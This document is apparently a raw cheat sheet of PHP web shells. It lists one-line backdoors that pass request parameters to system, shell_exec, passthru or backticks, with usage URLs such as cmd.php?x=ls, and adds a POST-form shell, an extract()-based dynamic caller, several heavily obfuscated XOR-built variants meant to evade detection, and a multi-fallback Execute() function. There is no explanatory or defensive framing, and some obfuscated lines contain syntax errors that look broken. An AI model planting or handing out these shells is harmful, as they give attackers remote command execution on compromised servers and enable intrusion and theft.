CMD

cmd.php?x=ls
<?php system($_GET['x']); ?>

<?php print_r(shell_exec($_GET['x'])); ?>

<?php passthru($_GET['x']); ?>

   <?php
echo"<form method=post><input type=text name=cmd value=ls><input type=submit name=sub value=ex></form>";
if(isset($_POST[sub])){
$output=`$_POST[cmd]`;
echo "<pre>$output</pre>";
}
?>


<?php
//ctime=system&atime=ls
@extract($_REQUEST);
@die($ctime($atime));



cmd.php?_=system&__=ls
  <?
@$_[]=@!_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[(($__)($__))].=$_;$_[]=$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__$__)$_[$__-$__]).($__$__$__)$_[$__-$__];$_[$__ $__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);$_[$__$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__ $__].=($_[$__][$__$__])^$_[$__][($__<<$__)-$__];
$_=$ $_[$__$__];
$_[@-_]($_[@!_]);
?>

 <?php
$_="{";
$_=($_^"<").($_^">;").($_^"/");
?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

cmd.php?0=passthru&1=ls
 <?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>


<?php
function Execute($in) {
    $out = '';
    if (function_exists('system')) {
        @system($in,$out);
        $out = @join("\n",$out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('exec')) {
        ob_start();
        @exec($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}
echo"<pre>";
Execute($_REQUEST['x']);